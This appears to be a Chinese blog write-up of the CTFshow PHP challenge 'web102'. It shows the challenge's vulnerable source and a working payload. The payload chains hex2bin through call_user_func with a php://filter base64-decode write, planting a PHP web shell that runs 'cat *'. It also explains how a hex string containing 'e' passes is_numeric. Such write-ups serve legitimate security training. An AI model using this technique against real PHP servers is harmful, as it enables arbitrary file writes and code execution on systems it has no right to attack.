CTFshow php特性 web102

最新推荐文章于 2024-05-01 22:46:17 发布

Kradress

最新推荐文章于 2024-05-01 22:46:17 发布

阅读量632

点赞数

分类专栏： CTFshow 文章标签： php 开发语言后端

本文链接：https://blog.csdn.net/Kracxi/article/details/121928647

版权

CTFshow 专栏收录该内容

194 篇文章 18 订阅

订阅专栏

源码

<?php

/*
# -*- coding: utf-8 -*-
# @Author: atao
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-23 20:59:43

*/


highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    $s = substr($v2,2); //从第三个字符开始
    $str = call_user_func($v1,$s);  //回调函数
    echo $str;
    file_put_contents($v3,$str);
}
else{
    die('hacker');
}


?>

Notice: Undefined index: v1 in /var/www/html/index.php on line 14

Notice: Undefined index: v2 in /var/www/html/index.php on line 15

Notice: Undefined index: v3 in /var/www/html/index.php on line 16
hacker

思路

call_user_func()

在这里插入图片描述
这题实在没办法做出来,php5可以用十六进制绕过,题目是php7

题解

hint

v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-
decode/resource=2.php
POST
v1=hex2bin
#访问1.php后查看源代码获得flag

来自羽师傅的wp

$a='<?=`cat *`;';
$b=base64_encode($a);  // PD89YGNhdCAqYDs=
$c=bin2hex($b);      //这里直接用去掉=的base64
输出   5044383959474e6864434171594473

带e的话会被认为是科学计数法，可以通过is_numeric检测。
大家可以尝试下去掉=和带着=的base64解码出来的内容是相同的。因为等号在base64中只是起到填充的作用，不影响具体的数据内容。